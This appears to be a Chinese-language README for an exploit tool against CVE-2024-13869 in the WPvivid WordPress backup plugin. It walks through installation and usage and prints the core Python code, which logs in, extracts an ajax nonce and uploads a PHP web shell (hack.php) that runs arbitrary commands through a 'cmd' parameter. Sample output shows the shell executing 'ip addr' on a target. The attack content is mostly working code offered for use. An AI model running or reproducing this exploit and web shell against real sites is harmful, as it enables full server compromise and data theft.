WPvivid 文件上传漏洞利用工具 (CVE-2024-13869)
本项目提供了一个针对 WordPress 插件 Migration, Backup, Staging – WPvivid 的安全漏洞(CVE-2024-13869)的利用工具。该漏洞允许已认证的管理员用户绕过文件类型检查,上传任意文件(如 Web Shell)至服务器,进而可能导致服务器被完全控制。
功能特性
- 自动化漏洞利用:一键完成登录、获取 Nonce、上传 Web Shell 和测试执行的完整流程。
- Web Shell 生成:内置简单的 PHP Web Shell,支持通过
cmd参数执行系统命令。 - 非交互式操作:通过命令行参数指定目标、用户名和密码,适合自动化渗透测试。
- 清晰的输出反馈:实时显示登录状态、提取的 Nonce 值、上传结果以及 Web Shell 的访问路径。
安装指南
环境要求
- Python 3.x
requests库urllib3库(通常随requests一同安装)
安装步骤
-
克隆或下载项目: 将
CVE-2024-13869.py脚本保存到本地。 -
安装依赖: 使用
pip安装所需的 Python 库。pip install requests urllib3
使用说明
基本用法
该工具通过命令行运行,需要提供 WordPress 站点的 URL、管理员用户名和密码。
python CVE-2024-13869.py <目标URL> <用户名> <密码>
示例
假设目标站点为 https://example.com,管理员用户名为 admin,密码为 StrongPassword123,执行命令如下:
python CVE-2024-13869.py https://example.com admin StrongPassword123
典型输出
Logging into: https://example.com/wp-admin
Extracting nonce values...
ajax_nonce: a993fb1986
Uploading web shell: hack.php
{"result":"success"}
Web Shell At: https://example.com/wp-content/wpvividbackups/hack.php
Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
...
API 概览
wp_login(victim_url, username, password)
- 功能:使用提供的凭据登录 WordPress 站点,并返回一个带有认证 Cookie 的
requests.Session对象。 - 参数:
victim_url(str): 目标 WordPress 站点的根 URL。username(str): 管理员用户名。password(str): 管理员密码。
- 返回:
requests.Session对象,用于后续的认证请求。
核心代码
以下是该漏洞利用工具的核心代码片段,展示了从登录到利用的完整流程。
登录函数 (wp_login)
该函数模拟 WordPress 的登录过程,获取并维持会话状态。
import requests
def wp_login(victim_url: str, username: str, password: str):
# 创建一个 Session 对象,用于维持 Cookie
with requests.Session() as s:
# 设置必要的 Cookie 头,绕过 WordPress 的测试 Cookie 检查
headers1 = {'Cookie':'wordpress_test_cookie=WP Cookie check'}
# 构建登录所需的 POST 数据
datas={
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': f"{victim_url}/wp-admin",
'testcookie': '1'
}
# 发送登录请求
s.post(f"{victim_url}/wp-login.php", headers=headers1, data=datas, verify=False)
# 返回包含已验证 Session 的对象
return(s)
漏洞利用与 Web Shell 上传
登录后,该部分代码负责提取关键参数(ajax_nonce)并构造一个 multipart/form-data 请求,将恶意的 PHP Web Shell 上传到服务器。
# 登录 WordPress
wp_session = wp_login(args.victim_url, args.username, args.password)
# 从插件管理页面提取必要的 ajax_nonce
r = wp_session.get(f"{args.victim_url}/wp-admin/admin.php?page=WPvivid", verify=False)
nonce = re.search(r'"ajax_nonce":"([^"]+)"', r.text).group(1)
# 构造并发送文件上传请求
headers = {
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryr0NgQQDe85Zf9sXp",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)"
}
# 精心构造的多部分数据,包含文件名、分片信息、Nonce 和 PHP 代码
data = "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\n"
data += "Content-Disposition: form-data; name=\"name\"\r\n\r\nhack.php\r\n"
data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"chunk\"\r\n\r\n0\r\n"
data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"chunks\"\r\n\r\n1\r\n"
data += f"------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"_ajax_nonce\"\r\n\r\n{nonce}\r\n"
data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwpvivid_upload_files\r\n"
data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"async-upload\"; filename=\"hack.php\"\r\n"
data += "Content-Type: text/plain; charset=UTF-8 \r\n\r\n"
data += "<?php\r\n if (!empty($_GET['cmd'])) {\r\n echo \"<pre>\".shell_exec($_GET['cmd']).\"</pre>\";\r\n }\r\n?>\r\n"
data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp--\r\n"
# 发送上传请求到 admin-ajax.php
r = wp_session.post(f"{args.victim_url}/wp-admin/admin-ajax.php", headers=headers, data=data, verify=False)
# 验证上传结果
print(r.text)
print(f"Web Shell At: {args.victim_url}/wp-content/wpvividbackups/hack.php")
6HFtX5dABrKlqXeO5PUv/6EPX91JjGQ5N+Lx0kV8rWw=